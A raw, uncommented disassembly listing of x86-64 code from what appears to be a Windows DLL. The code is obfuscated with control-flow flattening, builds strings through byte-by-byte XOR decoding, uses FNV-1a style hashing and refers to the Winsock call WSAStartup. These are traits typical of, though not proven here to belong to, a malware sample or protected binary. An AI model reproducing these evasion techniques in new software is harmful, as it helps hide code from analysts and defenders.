mov byte [rbp + 0x108], dl
mov ebx, 0x831e9691
jmp 0x18002c9c0
mov bl, byte [rbp + 0x108]
mov byte [rbp + 0xf8], bl
mov ebx, 0x7ee59bc8
jmp 0x18002c990
mov edx, dword [rbp + 0xf8]
mov word [rcx + 4], dx
mov edx, 0x800b32f6
nop
cmp edx, 0x1b941909
je 0x18002cd70
cmp edx, 0x800b32f6
jne 0x18002ca00
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
cmp edx, 0x2c73f116
je 0x18002ca45
cmp edx, 0xdddd4aba
jne 0x18002ca20
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002ca20
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x67
mov dword [rbp + 0xf8], edx
mov edx, 0x1b941909
jmp 0x18002ca00
mov cl, byte [rbp + 0x198]
mov byte [rax], cl
mov dword [rbp + 0x108], WSAStartup
mov ecx, 0xb99354bc
nop word cs:[rax + rax]
cmp ecx, 0xa1518875
je 0x18002cddf
cmp ecx, 0xb99354bc
jne 0x18002ca80
mov dword [rbp + 0x198], 0x4b
mov ecx, 0xa1518875
jmp 0x18002ca80
mov cl, byte [rbp + 0x198]
mov byte [rax + 1], cl
add rax, 2
mov qword [rbp + 0x108], rax
mov byte [rbp + 0xf0], 0x67
mov eax, 0xebae64ab
nop word cs:[rax + rax]
nop
cmp eax, 0xa096070a
je 0x18002ce40
cmp eax, 0xebae64ab
jne 0x18002cad0
mov al, byte [rbp + 0xf0]
add al, 3
mov ecx, 0xef606353
nop
cmp ecx, 0xa977f955
je 0x18002cb0d
cmp ecx, 0xef606353
jne 0x18002caf0
mov byte [rbp + 0xf8], al
mov ecx, 0xa977f955
jmp 0x18002caf0
mov al, byte [rbp + 0xf8]
mov rcx, qword [rbp + 0x108]
mov byte [rcx], al
mov rax, qword [rbp + 0x108]
mov ecx, 0xef606353
nop dword [rax + rax]
cmp ecx, 0xa977f955
je 0x18002cb4e
cmp ecx, 0xef606353
jne 0x18002cb30
mov byte [rbp + 0xf8], 0x46
mov ecx, 0xa977f955
jmp 0x18002cb30
mov cl, byte [rbp + 0xf8]
mov byte [rax + 1], cl
mov ecx, 0xef606353
nop dword [rax]
cmp ecx, 0xa977f955
je 0x18002cb7e
cmp ecx, 0xef606353
jne 0x18002cb60
mov byte [rbp + 0xf8], WSAStartup
mov ecx, 0xa977f955
jmp 0x18002cb60
mov cl, byte [rbp + 0xf8]
mov byte [rax + 2], cl
mov ecx, 0xef606353
nop dword [rax]
cmp ecx, 0xa977f955
je 0x18002cbae
cmp ecx, 0xef606353
jne 0x18002cb90
mov byte [rbp + 0xf8], WSAStartup
mov ecx, 0xa977f955
jmp 0x18002cb90
mov cl, byte [rbp + 0xf8]
mov byte [rax + 3], cl
mov ecx, 0xef606353
nop dword [rax]
cmp ecx, 0xa977f955
je 0x18002cbde
cmp ecx, 0xef606353
jne 0x18002cbc0
mov byte [rbp + 0xf8], 0x76
mov ecx, 0xa977f955
jmp 0x18002cbc0
mov cl, byte [rbp + 0xf8]
mov byte [rax + 4], cl
mov ecx, 0xef606353
nop dword [rax]
cmp ecx, 0xa977f955
je 0x18002cc0e
cmp ecx, 0xef606353
jne 0x18002cbf0
mov byte [rbp + 0xf8], 0x68
mov ecx, 0xa977f955
jmp 0x18002cbf0
mov cl, byte [rbp + 0xf8]
mov byte [rax + 5], cl
mov ecx, 0xef606353
nop dword [rax]
cmp ecx, 0xa977f955
je 0x18002cc3e
cmp ecx, 0xef606353
jne 0x18002cc20
mov byte [rbp + 0xf8], 0x4e
mov ecx, 0xa977f955
jmp 0x18002cc20
mov cl, byte [rbp + 0xf8]
mov byte [rax + 6], cl
mov ecx, 0xef606353
nop dword [rax]
cmp ecx, 0xa977f955
je 0x18002cc6e
cmp ecx, 0xef606353
jne 0x18002cc50
mov byte [rbp + 0xf8], 0x68
mov ecx, 0xa977f955
jmp 0x18002cc50
mov cl, byte [rbp + 0xf8]
mov byte [rax + 7], cl
add rax, 8
mov qword [rbp + 0x198], rax
mov eax, 0xa096070a
jmp 0x18002cad0
mov rdx, qword [rbp + 0x198]
add dl, 2
xor dl, 0x67
mov byte [rcx + 3], dl
add rcx, 4
mov qword [rbp + 0xe8], rcx
mov qword [rbp + 0x108], rax
mov ecx, 0x337d1bd5
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xac51a1fb
je 0x18002ce70
cmp ecx, 0x337d1bd5
jne 0x18002ccc0
mov rcx, qword [rbp + 0x108]
movsx rcx, byte [rcx]
mov qword [rbp + 0x198], rcx
mov ecx, 0xac51a1fb
jmp 0x18002ccc0
mov dl, byte [rbp + 0xf8]
mov ebx, dword [rbp + 0x198]
xor bl, dl
mov byte [rcx + 3], bl
mov dl, byte [rax]
mov ebx, 0x158cd83e
nop word cs:[rax + rax]
nop
cmp ebx, 0x7ee59bc8
je 0x18002d2f5
cmp ebx, 0x158cd83e
jne 0x18002cd10
mov dword [rbp + 0x198], 0x4d
mov ebx, 0xf66297dd
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x831e9691
je 0x18002cd5d
cmp ebx, 0xf66297dd
jne 0x18002cd40
mov byte [rbp + 0x108], dl
mov ebx, 0x831e9691
jmp 0x18002cd40
mov bl, byte [rbp + 0x108]
mov byte [rbp + 0xf8], bl
mov ebx, 0x7ee59bc8
jmp 0x18002cd10
mov edx, dword [rbp + 0xf8]
mov word [rcx + 6], dx
mov edx, 0x800b32f6
nop
cmp edx, 0x1b941909
je 0x18002d370
cmp edx, 0x800b32f6
jne 0x18002cd80
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
cmp edx, 0x2c73f116
je 0x18002cdc5
cmp edx, 0xdddd4aba
jne 0x18002cda0
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002cda0
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x73
mov dword [rbp + 0xf8], edx
mov edx, 0x1b941909
jmp 0x18002cd80
movsxd rcx, dword [rbp + 0x198]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov byte [rbp + 0xf8], cl
mov ecx, 0x6aac2ef1
nop dword [rax]
cmp ecx, 0x830fc09d
je 0x18002d3df
cmp ecx, 0x6aac2ef1
jne 0x18002ce10
movzx ecx, byte [rbp + 0xf8]
mov edx, dword [rbp + 0x108]
add dl, cl
mov byte [rbp + 0x198], dl
mov ecx, 0x830fc09d
jmp 0x18002ce10
mov eax, 0xef606353
nop word cs:[rax + rax]
nop
cmp eax, 0xa977f955
je 0x18002d433
cmp eax, 0xef606353
jne 0x18002ce50
mov byte [rbp + 0xf8], 0x7c
mov eax, 0xa977f955
jmp 0x18002ce50
mov rcx, qword [rbp + 0x198]
add cl, 3
xor cl, 0x51
mov rdx, qword [rbp + 0xe8]
mov byte [rdx], cl
mov edx, 0x9609101a
nop dword [rax + rax]
cmp edx, 0xc5184377
jg 0x18002ceb0
cmp edx, 0x9609101a
je 0x18002cf0d
cmp edx, 0xa4391205
jne 0x18002ce90
jmp 0x18002d993
cmp edx, 0xc5184378
je 0x18002cf4d
cmp edx, 0x2523cc11
jne 0x18002ce90
mov cl, byte [rbp + 0x100]
mov qword [rbp + 0x108], rax
mov edx, 0x337d1bd5
nop word cs:[rax + rax]
cmp edx, 0xac51a1fb
je 0x18002cf6d
cmp edx, 0x337d1bd5
jne 0x18002cee0
mov rdx, qword [rbp + 0x108]
movsx rdx, byte [rdx]
mov qword [rbp + 0x198], rdx
mov edx, 0xac51a1fb
jmp 0x18002cee0
mov rdx, qword [rbp + 0xe8]
mov qword [rbp + 0x108], rax
mov ebx, 0x337d1bd5
cmp ebx, 0xac51a1fb
je 0x18002cfc9
cmp ebx, 0x337d1bd5
jne 0x18002cf20
mov rbx, qword [rbp + 0x108]
movsx rbx, byte [rbx]
mov qword [rbp + 0x198], rbx
mov ebx, 0xac51a1fb
jmp 0x18002cf20
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0xf8]
mov edx, 0xc5184378
mov esi, 0xa4391205
cmove edx, esi
jmp 0x18002ce90
mov rdx, qword [rbp + 0x198]
add dl, 0xd
xor dl, cl
mov rcx, qword [rbp + 0xf0]
mov byte [rcx], dl
mov rcx, qword [rbp + 0xf0]
mov qword [rbp + 0x108], rax
mov edx, 0x337d1bd5
nop word cs:[rax + rax]
nop
cmp edx, 0xac51a1fb
je 0x18002d019
cmp edx, 0x337d1bd5
jne 0x18002cfa0
mov rdx, qword [rbp + 0x108]
movsx rdx, byte [rdx]
mov qword [rbp + 0x198], rdx
mov edx, 0xac51a1fb
jmp 0x18002cfa0
mov rbx, qword [rbp + 0x198]
add bl, 4
xor bl, 0x75
mov byte [rdx + 1], bl
mov qword [rbp + 0x108], rax
mov ebx, 0x337d1bd5
nop word cs:[rax + rax]
nop
cmp ebx, 0xac51a1fb
je 0x18002d069
cmp ebx, 0x337d1bd5
jne 0x18002cff0
mov rbx, qword [rbp + 0x108]
movsx rbx, byte [rbx]
mov qword [rbp + 0x198], rbx
mov ebx, 0xac51a1fb
jmp 0x18002cff0
mov rdx, qword [rbp + 0x198]
add dl, 0xe
xor dl, 0x78
mov byte [rcx + 1], dl
mov qword [rbp + 0x108], rax
mov edx, 0x337d1bd5
nop word cs:[rax + rax]
nop
cmp edx, 0xac51a1fb
je 0x18002d0b9
cmp edx, 0x337d1bd5
jne 0x18002d040
mov rdx, qword [rbp + 0x108]
movsx rdx, byte [rdx]
mov qword [rbp + 0x198], rdx
mov edx, 0xac51a1fb
jmp 0x18002d040
mov rbx, qword [rbp + 0x198]
add bl, 5
xor bl, 0x65
mov byte [rdx + 2], bl
mov qword [rbp + 0x108], rax
mov ebx, 0x337d1bd5
nop word cs:[rax + rax]
nop
cmp ebx, 0xac51a1fb
je 0x18002d0e9
cmp ebx, 0x337d1bd5
jne 0x18002d090
mov rbx, qword [rbp + 0x108]
movsx rbx, byte [rbx]
mov qword [rbp + 0x198], rbx
mov ebx, 0xac51a1fb
jmp 0x18002d090
mov rdx, qword [rbp + 0x198]
add dl, 0xf
xor dl, 0x57
mov byte [rcx + 2], dl
add rcx, 3
mov rdx, qword [rbp + 0xe0]
add rdx, 0x12
mov qword [rbp + 0xf8], rdx
mov edx, 0xc5184378
jmp 0x18002ce90
mov rbx, qword [rbp + 0x198]
add bl, 6
xor bl, 0x72
mov byte [rdx + 3], bl
mov qword [rbp + 0x108], rax
mov ebx, 0x337d1bd5
nop word cs:[rax + rax]
nop
cmp ebx, 0xac51a1fb
je 0x18002d139
cmp ebx, 0x337d1bd5
jne 0x18002d110
mov rbx, qword [rbp + 0x108]
movsx rbx, byte [rbx]
mov qword [rbp + 0x198], rbx
mov ebx, 0xac51a1fb
jmp 0x18002d110
mov rbx, qword [rbp + 0x198]
add bl, 7
xor bl, 0x79
mov byte [rdx + 4], bl
mov qword [rbp + 0x108], rax
mov ebx, 0x337d1bd5
nop word cs:[rax + rax]
nop
cmp ebx, 0xac51a1fb
je 0x18002d189
cmp ebx, 0x337d1bd5
jne 0x18002d160
mov rbx, qword [rbp + 0x108]
movsx rbx, byte [rbx]
mov qword [rbp + 0x198], rbx
mov ebx, 0xac51a1fb
jmp 0x18002d160
mov rbx, qword [rbp + 0x198]
add bl, 8
xor bl, 0x56
mov byte [rdx + 5], bl
mov qword [rbp + 0x108], rax
mov ebx, 0x337d1bd5
nop word cs:[rax + rax]
nop
cmp ebx, 0xac51a1fb
je 0x18002d1d9
cmp ebx, 0x337d1bd5
jne 0x18002d1b0
mov rbx, qword [rbp + 0x108]
movsx rbx, byte [rbx]
mov qword [rbp + 0x198], rbx
mov ebx, 0xac51a1fb
jmp 0x18002d1b0
mov rbx, qword [rbp + 0x198]
add bl, 9
xor bl, 0x61
mov byte [rdx + 6], bl
mov qword [rbp + 0x108], rax
mov ebx, 0x337d1bd5
nop word cs:[rax + rax]
nop
cmp ebx, 0xac51a1fb
je 0x18002d229
cmp ebx, 0x337d1bd5
jne 0x18002d200
mov rbx, qword [rbp + 0x108]
movsx rbx, byte [rbx]
mov qword [rbp + 0x198], rbx
mov ebx, 0xac51a1fb
jmp 0x18002d200
mov rbx, qword [rbp + 0x198]
add bl, 0xa
xor bl, 0x6c
mov byte [rdx + 7], bl
mov qword [rbp + 0x108], rax
mov ebx, 0x337d1bd5
nop word cs:[rax + rax]
nop
cmp ebx, 0xac51a1fb
je 0x18002d279
cmp ebx, 0x337d1bd5
jne 0x18002d250
mov rbx, qword [rbp + 0x108]
movsx rbx, byte [rbx]
mov qword [rbp + 0x198], rbx
mov ebx, 0xac51a1fb
jmp 0x18002d250
mov rbx, qword [rbp + 0x198]
add bl, 0xb
xor bl, 0x75
mov byte [rdx + 8], bl
mov qword [rbp + 0x108], rax
mov ebx, 0x337d1bd5
nop word cs:[rax + rax]
nop
cmp ebx, 0xac51a1fb
je 0x18002d2c9
cmp ebx, 0x337d1bd5
jne 0x18002d2a0
mov rbx, qword [rbp + 0x108]
movsx rbx, byte [rbx]
mov qword [rbp + 0x198], rbx
mov ebx, 0xac51a1fb
jmp 0x18002d2a0
mov rbx, qword [rbp + 0x198]
add bl, 0xc
xor bl, 0x65
mov byte [rdx + 9], bl
add rdx, 0xa
mov qword [rbp + 0xf0], rdx
mov byte [rbp + 0x100], 0x45
mov edx, 0x2523cc11
jmp 0x18002ce90
mov dl, byte [rbp + 0xf8]
mov ebx, dword [rbp + 0x198]
xor bl, dl
mov byte [rcx + 4], bl
mov dl, byte [rax]
mov ebx, 0x158cd83e
nop dword [rax]
cmp ebx, 0x7ee59bc8
je 0x18002df06
cmp ebx, 0x158cd83e
jne 0x18002d310
mov dword [rbp + 0x198], WSAStartup
mov ebx, 0xf66297dd
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x831e9691
je 0x18002d35d
cmp ebx, 0xf66297dd
jne 0x18002d340
mov byte [rbp + 0x108], dl
mov ebx, 0x831e9691
jmp 0x18002d340
mov bl, byte [rbp + 0x108]
mov byte [rbp + 0xf8], bl
mov ebx, 0x7ee59bc8
jmp 0x18002d310
mov edx, dword [rbp + 0xf8]
mov word [rcx + 8], dx
mov edx, 0x800b32f6
nop
cmp edx, 0x1b941909
je 0x18002df80
cmp edx, 0x800b32f6
jne 0x18002d380
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
cmp edx, 0x2c73f116
je 0x18002d3c5
cmp edx, 0xdddd4aba
jne 0x18002d3a0
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002d3a0
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x76
mov dword [rbp + 0xf8], edx
mov edx, 0x1b941909
jmp 0x18002d380
mov cl, byte [rbp + 0x198]
mov byte [rax + 1], cl
add rax, 2
mov qword [rbp + 0x108], rax
mov dword [rbp + 0xf8], 0x65
mov eax, 0xb99354bc
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xa1518875
je 0x18002e5f9
cmp eax, 0xb99354bc
jne 0x18002d410
mov dword [rbp + 0x198], 0x4b
mov eax, 0xa1518875
jmp 0x18002d410
mov al, byte [rbp + 0xf8]
mov rcx, qword [rbp + 0x198]
mov byte [rcx], al
mov rax, qword [rbp + 0x198]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x70]
mov edx, 0x415a1b64
jmp 0x18002d470
mov edx, 0xe54aa2bf
mov rcx, qword [rbp + 0x108]
nop word cs:[rax + rax]
nop
cmp edx, 0x2f6409a8
jg 0x18002d4f0
cmp edx, 0xe1e57d9e
jg 0x18002d520
cmp edx, 0x87d817b4
je 0x18002d458
cmp edx, 0xbedcf072
jne 0x18002d602
movsx edx, byte [rbp + 0xd8]
mov dword [rbp + 0x100], edx
mov byte [rbp + 0x114], 3
mov edx, 0xb4c8ed25
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xc8f277ea
je 0x18002d589
cmp edx, 0xb4c8ed25
jne 0x18002d4c0
movsx edx, byte [rbp + 0x114]
mov ebx, dword [rbp + 0x100]
sub ebx, edx
mov dword [rbp + 0xe0], ebx
mov edx, 0xc8f277ea
jmp 0x18002d4c0
cmp edx, 0x460d94b2
jg 0x18002d560
cmp edx, 0x2f6409a9
je 0x18002d5b4
cmp edx, 0x415a1b64
jne 0x18002d470
mov edx, 0x460d94b3
jmp 0x18002d470
cmp edx, 0xe1e57d9f
je 0x18002d5de
cmp edx, 0xe54aa2bf
jne 0x18002d470
mov qword [rbp + 0x198], rcx
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xb
mov edx, 0x536c83e2
cmovb edx, edi
jmp 0x18002d470
cmp edx, 0x460d94b3
je 0x18002d5f6
cmp edx, 0x536c83e2
jne 0x18002d470
mov qword [rbp + 0xe8], rax
mov edx, 0xe1e57d9f
jmp 0x18002d470
mov edx, dword [rbp + 0xe0]
mov rbx, qword [rbp + 0xf8]
mov byte [rbx], dl
mov rdx, qword [rbp + 0x198]
add rdx, 1
mov qword [rbp + 0x108], rdx
mov edx, 0x87d817b4
jmp 0x18002d470
mov rdx, qword [rbp + 0x198]
add rdx, rax
mov qword [rbp + 0xf8], rdx
mov rdx, qword [rbp + 0xf8]
mov dl, byte [rdx]
mov byte [rbp + 0xd8], dl
mov edx, 0xbedcf072
jmp 0x18002d470
mov rdx, qword [rbp + 0xe8]
mov qword [rbp + 0xf0], rdx
mov edx, 0x9c880be9
jmp 0x18002d470
mov edx, 0xe54aa2bf
xor ecx, ecx
jmp 0x18002d470
cmp edx, 0x9c880be9
jne 0x18002d470
mov r8, qword [rbp + 0xf0]
mov edi, 0x9304b30f
jmp 0x18002d640
movsxd rbx, ecx
xor rbx, qword [rbp + 0x198]
imul rbx, r9
mov esi, dword [rbp + 0xf0]
add esi, 1
mov edi, 0xc46bd60d
nop dword [rax + rax]
cmp edi, 0xec989664
jle 0x18002d6a0
cmp edi, 0xde9741a
jle 0x18002d6f0
cmp edi, 0x4040a63f
jg 0x18002d779
cmp edi, 0xde9741b
je 0x18002d842
cmp edi, 0x23777f42
je 0x18002d859
cmp edi, 0x34fd6d6d
jne 0x18002d640
cmp byte [rbp + 0xd4], 0
mov edi, 0xa8588bcc
cmovne edi, r13d
jmp 0x18002d640
cmp edi, 0xb3b07733
jle 0x18002d730
cmp edi, 0xc86312b3
jle 0x18002d7ad
cmp edi, 0xc86312b4
je 0x18002d61c
cmp edi, 0xcaf004ba
je 0x18002d863
cmp edi, 0xdf0d33c4
jne 0x18002d640
mov edi, 0xc46bd60d
xor esi, esi
mov rbx, r14
jmp 0x18002d640
cmp edi, 0xfa416f8f
jle 0x18002d7ee
cmp edi, 0xfa416f90
je 0x18002d891
cmp edi, 0x45d558a
je 0x18002d8a1
cmp edi, 0xc942d64
jne 0x18002d640
mov edi, 0xcaf004ba
xor edx, edx
jmp 0x18002d640
cmp edi, 0xa8588bcb
jle 0x18002d820
cmp edi, 0xa8588bcc
je 0x18002d8bb
cmp edi, 0xa94a57ae
je 0x18002d8cb
cmp edi, 0xb18d2356
jne 0x18002d640
mov eax, dword [rbp + 0x100]
or eax, 0x20
mov dword [rbp + 0xe0], eax
mov edi, 0xfa416f90
jmp 0x18002d640
cmp edi, 0x4040a640
je 0x18002d8d5
cmp edi, 0x494b1080
je 0x18002d8df
cmp edi, 0x6238ad6b
jne 0x18002d640
mov edi, 0xcaf004ba
mov edx, dword [rbp + 0x114]
jmp 0x18002d640
cmp edi, 0xb3b07734
je 0x18002d8f4
cmp edi, 0xc46bd60d
jne 0x18002d94f
mov dword [rbp + 0xf0], esi
mov qword [rbp + 0x198], rbx
mov edi, dword [rbp + 0xe8]
mov eax, dword [rbp + 0xf0]
cmp eax, edi
mov edi, 0xc5d9b945
cmovb edi, r11d
jmp 0x18002d640
cmp edi, 0xec989665
je 0x18002d91b
cmp edi, 0xed3b0916
jne 0x18002d640
mov eax, dword [rbp + 0x100]
cmp eax, 0x5b
setl byte [rbp + 0xd4]
mov edi, 0x34fd6d6d
jmp 0x18002d640
cmp edi, 0x8051c795
je 0x18002d934
cmp edi, 0x9304b30f
jne 0x18002d640
mov edi, 0xc942d64
jmp 0x18002d640
mov eax, dword [rbp + 0xf0]
mov qword [rbp + 0xf8], rax
mov edi, 0x8051c795
jmp 0x18002d640
mov edi, 0xdf0d33c4
jmp 0x18002d640
mov dword [rbp + 0xe8], edx
mov edi, dword [rbp + 0xe8]
movsx edi, byte [r8 + rdi]
mov dword [rbp + 0xd8], edi
mov edi, dword [rbp + 0xd8]
cmp edi, 0x1f
mov edi, 0xa94a57ae
cmovg edi, r12d
jmp 0x18002d640
mov edi, 0xc86312b4
mov ecx, dword [rbp + 0xe0]
jmp 0x18002d640
mov edi, dword [rbp + 0xd8]
cmp edi, 0x7f
setl byte [rbp + 0xdf]
mov edi, 0x494b1080
jmp 0x18002d640
mov edi, 0xc86312b4
mov ecx, dword [rbp + 0x100]
jmp 0x18002d640
mov edi, 0x23777f42
jmp 0x18002d640
mov edi, 0x6238ad6b
jmp 0x18002d640
cmp byte [rbp + 0xdf], 0
mov edi, 0xa94a57ae
cmovne edi, r15d
jmp 0x18002d640
mov rax, qword [rbp + 0x108]
movsx eax, byte [rax]
mov dword [rbp + 0x100], eax
mov eax, dword [rbp + 0x100]
cmp eax, 0x40
mov edi, 0xa8588bcc
cmovg edi, r10d
jmp 0x18002d640
mov edi, dword [rbp + 0xe8]
add edi, 1
mov dword [rbp + 0x114], edi
mov edi, 0x4040a640
jmp 0x18002d640
mov rax, qword [rbp + 0xf8]
add rax, r8
mov qword [rbp + 0x108], rax
mov edi, 0xb3b07734
jmp 0x18002d640
cmp edi, 0xc5d9b945
jne 0x18002d640
mov rcx, qword [rbp + 0x198]
sub rsp, 0x20
call fcn.1800ae820
mov r11d, 0xde9741b
mov r10d, 0xed3b0916
movabs r9, 0x100000001b3
add rsp, 0x20
mov qword [rbp - 0x68], rax
mov eax, 0x3849b954
jmp 0x180026510
mov rax, qword [rbp + 0xa0]
mov edx, 0x2116991f
jmp 0x18002d9c0
mov bl, byte [rbp + 0x114]
mov byte [rcx + rdx], bl
mov edx, 0x160e52a0
mov rcx, qword [rbp + 0xf0]
nop word cs:[rax + rax]
cmp edx, 0xfb97384f
jg 0x18002da00
cmp edx, 0xc2fb9df4
jle 0x18002da40
cmp edx, 0xc2fb9df5
je 0x18002da92
cmp edx, 0xfb0db071
jne 0x18002db5b
mov qword [rbp + 0xe8], rax
mov edx, 0x1a076dbd
jmp 0x18002d9c0
cmp edx, 0x1a076dbc
jg 0x18002da70
cmp edx, 0xfb973850
je 0x18002da9e
cmp edx, 0x160e52a0
jne 0x18002d9c0
mov qword [rbp + 0xf8], rcx
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
mov edx, 0xb1edc906
cmovb edx, r8d
jmp 0x18002d9c0
cmp edx, 0xaebe250e
je 0x18002db23
cmp edx, 0xb1edc906
jne 0x18002d9c0
mov byte [rax + 0x11], 0
mov qword [rbp + 0x100], rax
mov edx, 0xaebe250e
jmp 0x18002d9c0
cmp edx, 0x1a076dbd
je 0x18002db3f
cmp edx, 0x2116991f
jne 0x18002d9c0
mov edx, 0xc2fb9df5
jmp 0x18002d9c0
mov edx, 0x160e52a0
xor ecx, ecx
jmp 0x18002d9c0
mov rcx, qword [rbp + 0xe8]
mov rdx, qword [rbp + 0xf0]
mov bl, byte [rcx + rdx]
mov rdi, qword [rbp + 0xf8]
mov esi, 0xaa40111f
nop dword [rax + rax]
cmp esi, 0xc73ae006
je 0x18002d9a1
cmp esi, 0xaa40111f
jne 0x18002dac0
mov qword [rbp + 0x108], rax
mov esi, 0x337d1bd5
cmp esi, 0xac51a1fb
je 0x18002db09
cmp esi, 0x337d1bd5
jne 0x18002dae0
mov rsi, qword [rbp + 0x108]
movsx rsi, byte [rsi]
mov qword [rbp + 0x198], rsi
mov esi, 0xac51a1fb
jmp 0x18002dae0
mov rsi, qword [rbp + 0x198]
add esi, edi
xor sil, bl
mov byte [rbp + 0x114], sil
mov esi, 0xc73ae006
jmp 0x18002dac0
mov rdx, qword [rbp + 0x100]
add rdx, 1
mov qword [rbp + 0xe0], rdx
mov edx, 0xedbb15a4
jmp 0x18002d9c0
mov rdx, qword [rbp + 0xf8]
add rdx, 1
mov qword [rbp + 0xf0], rdx
mov edx, 0xfb973850
jmp 0x18002d9c0
cmp edx, 0xedbb15a4
jne 0x18002d9c0
mov r8, qword [rbp + 0xe0]
mov edi, 0x9304b30f
jmp 0x18002dba0
movsxd rbx, ecx
xor rbx, qword [rbp + 0x198]
imul rbx, r9
mov esi, dword [rbp + 0xf0]
add esi, 1
mov edi, 0xc46bd60d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edi, 0xec989664
jle 0x18002dc00
cmp edi, 0xde9741a
jle 0x18002dc50
cmp edi, 0x4040a63f
jg 0x18002dcd9
cmp edi, 0xde9741b
je 0x18002dda2
cmp edi, 0x23777f42
je 0x18002ddb9
cmp edi, 0x34fd6d6d
jne 0x18002dba0
cmp byte [rbp + 0xd4], 0
mov edi, 0xa8588bcc
cmovne edi, r13d
jmp 0x18002dba0
cmp edi, 0xb3b07733
jle 0x18002dc90
cmp edi, 0xc86312b3
jle 0x18002dd0d
cmp edi, 0xc86312b4
je 0x18002db75
cmp edi, 0xcaf004ba
je 0x18002ddc3
cmp edi, 0xdf0d33c4
jne 0x18002dba0
mov edi, 0xc46bd60d
xor esi, esi
mov rbx, r14
jmp 0x18002dba0
cmp edi, 0xfa416f8f
jle 0x18002dd4e
cmp edi, 0xfa416f90
je 0x18002ddf1
cmp edi, 0x45d558a
je 0x18002de01
cmp edi, 0xc942d64
jne 0x18002dba0
mov edi, 0xcaf004ba
xor edx, edx
jmp 0x18002dba0
cmp edi, 0xa8588bcb
jle 0x18002dd80
cmp edi, 0xa8588bcc
je 0x18002de1b
cmp edi, 0xa94a57ae
je 0x18002de2b
cmp edi, 0xb18d2356
jne 0x18002dba0
mov eax, dword [rbp + 0x100]
or eax, 0x20
mov dword [rbp + 0xe0], eax
mov edi, 0xfa416f90
jmp 0x18002dba0
cmp edi, 0x4040a640
je 0x18002de35
cmp edi, 0x494b1080
je 0x18002de3f
cmp edi, 0x6238ad6b
jne 0x18002dba0
mov edi, 0xcaf004ba
mov edx, dword [rbp + 0x114]
jmp 0x18002dba0
cmp edi, 0xb3b07734
je 0x18002de54
cmp edi, 0xc46bd60d
jne 0x18002deaf
mov dword [rbp + 0xf0], esi
mov qword [rbp + 0x198], rbx
mov edi, dword [rbp + 0xe8]
mov eax, dword [rbp + 0xf0]
cmp eax, edi
mov edi, 0xc5d9b945
cmovb edi, r11d
jmp 0x18002dba0
cmp edi, 0xec989665
je 0x18002de7b
cmp edi, 0xed3b0916
jne 0x18002dba0
mov eax, dword [rbp + 0x100]
cmp eax, 0x5b
setl byte [rbp + 0xd4]
mov edi, 0x34fd6d6d
jmp 0x18002dba0
cmp edi, 0x8051c795
je 0x18002de94
cmp edi, 0x9304b30f
jne 0x18002dba0
mov edi, 0xc942d64
jmp 0x18002dba0
mov eax, dword [rbp + 0xf0]
mov qword [rbp + 0xf8], rax
mov edi, 0x8051c795
jmp 0x18002dba0
mov edi, 0xdf0d33c4
jmp 0x18002dba0
mov dword [rbp + 0xe8], edx
mov edi, dword [rbp + 0xe8]
movsx edi, byte [r8 + rdi]
mov dword [rbp + 0xd8], edi
mov edi, dword [rbp + 0xd8]
cmp edi, 0x1f
mov edi, 0xa94a57ae
cmovg edi, r12d
jmp 0x18002dba0
mov edi, 0xc86312b4
mov ecx, dword [rbp + 0xe0]
jmp 0x18002dba0
mov edi, dword [rbp + 0xd8]
cmp edi, 0x7f
setl byte [rbp + 0xdf]
mov edi, 0x494b1080
jmp 0x18002dba0
mov edi, 0xc86312b4
mov ecx, dword [rbp + 0x100]
jmp 0x18002dba0
mov edi, 0x23777f42
jmp 0x18002dba0
mov edi, 0x6238ad6b
jmp 0x18002dba0
cmp byte [rbp + 0xdf], 0
mov edi, 0xa94a57ae
cmovne edi, r15d
jmp 0x18002dba0
mov rax, qword [rbp + 0x108]
movsx eax, byte [rax]
mov dword [rbp + 0x100], eax
mov eax, dword [rbp + 0x100]
cmp eax, 0x40
mov edi, 0xa8588bcc
cmovg edi, r10d
jmp 0x18002dba0
mov edi, dword [rbp + 0xe8]
add edi, 1
mov dword [rbp + 0x114], edi
mov edi, 0x4040a640
jmp 0x18002dba0
mov rax, qword [rbp + 0xf8]
add rax, r8
mov qword [rbp + 0x108], rax
mov edi, 0xb3b07734
jmp 0x18002dba0
cmp edi, 0xc5d9b945
jne 0x18002dba0
mov rcx, qword [rbp + 0x198]
sub rsp, 0x20
call fcn.1800ae820
mov r11d, 0xde9741b
mov r10d, 0xed3b0916
movabs r9, 0x100000001b3
add rsp, 0x20
mov qword [rbp - 0x40], rax
lea rax, [rbp + 0xa20]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp - 0x10], rax
mov eax, 0x351f3c78
jmp 0x180026510
mov dl, byte [rbp + 0xf8]
mov ebx, dword [rbp + 0x198]
xor bl, dl
mov byte [rcx + 5], bl
mov dl, byte [rax]
mov ebx, 0x158cd83e
nop
cmp ebx, 0x7ee59bc8
je 0x18002e65e
cmp ebx, 0x158cd83e
jne 0x18002df20
mov dword [rbp + 0x198], 0x64
mov ebx, 0xf66297dd
nop word cs:[rax + rax]
nop dword [rax]
